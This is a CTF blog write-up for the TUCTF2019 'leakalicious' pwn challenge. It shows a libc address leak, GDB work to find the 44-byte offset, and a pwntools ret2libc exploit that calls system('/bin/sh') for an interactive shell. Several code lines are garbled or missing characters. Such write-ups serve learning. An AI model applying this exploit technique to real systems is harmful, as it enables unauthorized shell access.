๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[ โ˜… ]Study/CTF

TUCTF2019 leakalicious writeup

by nroses-taek 2019. 12. 7.

<leakalicious>

 

Description

King Arthur has proposed this challenge for all those who consider themselves worthy.

 

Hint

BLUKAT ME! If only we knew what libc to use...


Let's pwn ๐Ÿ™‚

 

 

then, first We can not use shellcode

but I get a hint on IDA

What... version of libc am I using?

 

I thought we should RTL 

Then, let's put the pieces for attack

 

If we put A 31 times, e can leak puts function address
Next, we need to know distance from buffuer to RET
we have breakpoint in GDB

  1. starting point

  2. after read function

gdb-peda$ i r esp

esp            0xffffd41c    0xffffd41c

 

gdb-peda$ x/40wx $esp

0xffffd3e4:    0x00000000    0xffffd3f0    0x00000040    0x41414141

0xffffd3f4:    0x41414141    0xffff0a41    0x565562ab    0xf7fe59b0

 

gdb-peda$ p/d 0xffffd41c - 0xffffd3f0

$3 = 44

 

 

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
libc = ELF('/lib/i386-linux-gnu/libc-2.27.so')    // my library
= process("./leakalicious")
 
r.sendlineafter('> ''A'*31)
print r.recvline()
 
libc_base = u32(r.recvline()[:-2]) - libc.symbols['puts']
log.info("libc_base is : " + str(hex(libc_base)))
 
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
 
log.info('system addr is : ' + hex(system_addr))
log.info('/bin/sh addr is ' + hex(binsh_addr))
 
r.sendlineafter('> ''A')
r.sendlineafter('> ''A'*44 + p32(system_addr) + 'A'*4 + p32(binsh_addr))
 
r.interactive()
 
 

 

'[ โ˜… ]Study > CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

CTF remote environment(socat)  (0) 2019.12.04
Pwntools ์„ค์น˜(install)  (0) 2019.04.03
X-MAS 2018 Greetings from Santa  (0) 2019.01.01
TUCTF2018 Shella_Easy(pwn)  (0) 2018.12.15
TUCTF2018 - ehh  (0) 2018.12.15

๋Œ“๊ธ€